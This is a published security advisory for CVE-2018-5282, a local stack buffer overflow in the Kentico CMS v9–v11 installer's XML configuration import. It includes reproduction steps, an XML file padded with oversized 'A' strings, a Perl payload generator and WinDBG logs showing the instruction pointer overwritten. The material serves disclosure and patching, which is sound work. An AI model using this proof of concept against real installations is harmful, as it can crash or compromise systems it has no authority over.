Document Title: =============== Kentico CMS v11.0 - Stack Buffer Overflow Vulnerability References (Source): ==================== https://www.vulnerability-lab.com/get_content.php?id=1943 http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2018-5282 CVE-ID: ======= CVE-2018-5282 Release Date: ============= 2018-01-04 Vulnerability Laboratory ID (VL-ID): ==================================== 1943 Common Vulnerability Scoring System: ==================================== 6 Vulnerability Class: ==================== Buffer Overflow Current Estimated Price: ======================== 2.000€ - 3.000€ Product & Service Introduction: =============================== Kentico is the only fully integrated ASP.NET CMS, E-commerce, and Online Marketing platform that allows you to create cutting-edge websites and optimize your digital customers’ experiences fully across multiple channels. Kentico saves you time and resources so you can accomplish more. Giving you the power to improve and refine your digital strategy, align it with the needs of your customers, and create unique user experiences, Kentico 9 accelerates customer loyalty through new technologies. (Copy of the Homepage: http://www.kentico.com/product/kentico9 ) Abstract Advisory Information: ============================== The vulnerability laboratory core research team discovered a stack buffer overflow vulnerability in the official Kentico v9.0, v10.0 & v11.0 content management system software. Vulnerability Disclosure Timeline: ================================== 2018-01-04: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Kentico Software Product: Kentico - Content Management System (eCommerce Software) 9.0 Kentico Software Product: Kentico - Content Management System (eCommerce Software) 10.0 Kentico Software Product: Kentico - Content Management System (eCommerce Software) 11.0 Exploitation Technique: ======================= Local Severity Level: =============== High Technical Details & Description: ================================ A local stack buffer overflow vulnerability has been discovered in the official Kentico v9.0, v10.0 & v11.0 content management system software. The buffer overflow vulnerability allows local attackers to compromise the local system process by an overwrite of the active registers. The local buffer overflow vulnerability is located in the `Load XML Configuration` module for file imports. The xml file impact input data of the configuration for the software. In several values of the xml file the inputs are not recognized by an approval of the secure software validation mechanism. The iis configuration settings are connected to a secure validation process, the sql install database information in the xml file are not. The non-exisiting input validation and the unrestricted context size allows local attackers to trigger a stack buffer overflow vulnerability. That results in compromise of the software process with system privileges. The security risk of the local buffer overflow vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 6.0. Exploitation of the stack buffer overflow vulnerability requires a low privilege or restricted system user account without user interaction. Successful exploitation of the vulnerability results in overwrite of the active registers to compromise of the computer system or process. Vulnerable Module(s): [+] Load XML Configuration Proof of Concept (PoC): ======================= The local buffer overflow vulnerability can be exploited by local attackers with low privileged or restricted system user account without user interaction. For security demonstration or to reproduce the software vulnerability follow the provided information and steps below to continue the process. Manual steps to reproduce the vulnerability ... 1. Download the newst software version of the Kentico cms (v9.0.x - 9.0.5981.23486) 2. Accept the program conditions and click to custom installation 3. Open the local hosted xml poc file 4. Include a large unicode payload to the marked values 5. Save the xml file on your localhost 6. Move back to the kentico v9.x installation process with the custom install screen Note: Attach a debugger to followup with the overwrite on the active registers 7. Load the xml poc file by usage of the import function of kentico (left|buttom) 8. The vulnerable values loaded and the process will permanently crash with different exceptions 9. Move back to the debugger that is attached to the active software process and followup with an overwrite of the active ecx, ebp or eip registers 10. Successful reproduce of the local buffer overflow vulnerability! PoC: Vulnerable Source (XML) <SilentInstall Log="True" LogFile="" OnError="Stop" CheckRequirements="False" ShowProgress="CommandPrompt"> <Setup InstallOnlyProgramFiles="False" Location="Local" SetupFolder="C:Program Files (x86)Kentico9.0" NET="4.5" OpenAfterInstall="True" DeleteExisting="False" DoNotOverwriteInstallation="True" RegisterCounters="False" InstallWinServices="False" RegisterApplicationToEventLog="False" WebProject="WebApplication" KillRunningProcesses="False" EnableModuleUsageTracking="True" /> <Sql InstallDatabase="True" Server="127.0.0.1" Authentication="SQL" SqlName="[INCLUDE UNICODE PAYLOAD HERE TO TRIGGER THE BOF!]" SqlPswd="[INCLUDE UNICODE PAYLOAD HERE TO TRIGGER THE BOF!]" Database="[INCLUDE UNICODE PAYLOAD HERE TO TRIGGER THE BOF!]" Operation="" Collation="SQL_Latin1_General_CP1_CI_AS" Schema="" DeleteExisting="False" /> <IIS Website="" TargetFolder="C:inetpubwwwrootKentico9" DeleteExisting="GetUnique" KillRunningProcesses="False" /> <Modules type="InstallAll" /> <WebTemplates type="InstallAll" /> <UICultures type="InstallAll" /> <Dictionaries type="InstallAll" /> <WebSites /> <Licenses /> <Notification Enabled="False" Server="[INCLUDE UNICODE PAYLOAD HERE TO TRIGGER THE BOF!]" UserName="[INCLUDE UNICODE PAYLOAD HERE TO TRIGGER THE BOF!]" Password="[INCLUDE UNICODE PAYLOAD HERE TO TRIGGER THE BOF!]" SSL="False" From="" To="" Subject="" AttachLogFile="True" /> </SilentInstall> Note: Start the software exe file kentico v9.0 on windows, attach the windows debugger and load the xml config file to overwrite the ecx and eip registers. The installation path and the iis website values are not exploitable, because of the active content restrictions of the process that drops an invalid argument exception to prevent. PoC: Exploit Code (XML) <SilentInstall Log="True" LogFile="" OnError="Stop" CheckRequirements="False" ShowProgress="CommandPrompt"> <Setup InstallOnlyProgramFiles="False" Location="Local" SetupFolder="C:Program Files (x86)Kentico9.0" NET="4.5" OpenAfterInstall="True" DeleteExisting="False" DoNotOverwriteInstallation="True" RegisterCounters="True" InstallWinServices="True" RegisterApplicationToEventLog="True" WebProject="WebApplication" KillRunningProcesses="True" EnableModuleUsageTracking="True" /> <Sql InstallDatabase="True" Server="127.0.0.1" Authentication="SQL" SqlName="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA+" SqlPswd="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA+" Database="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA+" Operation="" Collation="SQL_Latin1_General_CP1_CI_AS" Schema="" DeleteExisting="False" /> <IIS Website="" TargetFolder="C:inetpubwwwrootKentico9" DeleteExisting="GetUnique" KillRunningProcesses="False" /> <Modules type="InstallAll" /> <WebTemplates type="InstallAll" /> <UICultures type="InstallAll" /> <Dictionaries type="InstallAll" /> <WebSites /> <Licenses /> <Notification Enabled="False" Server="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA+" UserName="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA+" Password="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA+" SSL="False" From="" To="" Subject="" AttachLogFile="True" /> </SilentInstall> PoC: Exploitation (Perl) #!/usr/bin/perl my $Buff = "A" x 3000; open(MYFILE,'>>kentico_unicode_payload.txt'); print MYFILE $Buff; close(MYFILE); print "PoC (c) Vulnerability-Laboratory"; --- PoC Debug Session Logs [WinDBG] --- (1522.21ec): Stack buffer overflow - code c0000409 eax=00000000 ebx=0044b208 ecx=00410041 edx=513cc7c2 esi=003a22d0 edi=00477cd0 eip=41004100 esp=00000000 ebp=00000000 iopl=0 nv up ei pl nz na po nc cs=001c ss=0022 ds=0022 es=0022 fs=002c gs=0000 efl=00000000 41414141 cc22 - EXCEPTION_RECORD: ffffffff -- (.exr ffffffffffffffff) ExceptionAddress: 41414141 ExceptionCode: c0000409 (Stack Buffer Overflow) ExceptionFlags: 00000001 NumberParameters: 1 Parameter[0]: 00000002 Solution - Fix & Patch: ======================= The vulnerability can be patched by a secure file size and input character restriction like on the iis scheme website input. Parse the full xml file on import and restrict the memory size on imports to prevent further buffer overflow attacks. Security Risk: ============== The security risk of the local stack buffer overflow vulnerability in the kentico cms software is estimated as high. (CVSS 6.0) Credits & Authors: ================== Benjamin K.M. [bkm@xxxxxxxxxxxxxxxxxxxxx] - https://www.vulnerability-lab.com/show.php?user=Benjamin+K.M. Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability Labs or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for incidental or consequential damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. We have no need for criminal activities or membership requests. We do not publish advisories or vulnerabilities of religious-, militant- and racist- hacker/analyst/researcher groups or individuals. We do not publish trade researcher mails, phone numbers, conversations or anything else to journalists, investigative authorities or private individuals. Domains: www.vulnerability-lab.com - www.vulnerability-db.com - www.evolution-sec.com Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register.php Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Social: twitter.com/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Any modified copy or reproduction, including partially usages, of this file, resources or information requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@) to get an ask permission. Copyright © 2018 | Vulnerability Laboratory - [Evolution Security GmbH]™ -- VULNERABILITY LABORATORY - SUBMISSION REVIEW TEAM DOMAIN: www.vulnerability-lab.com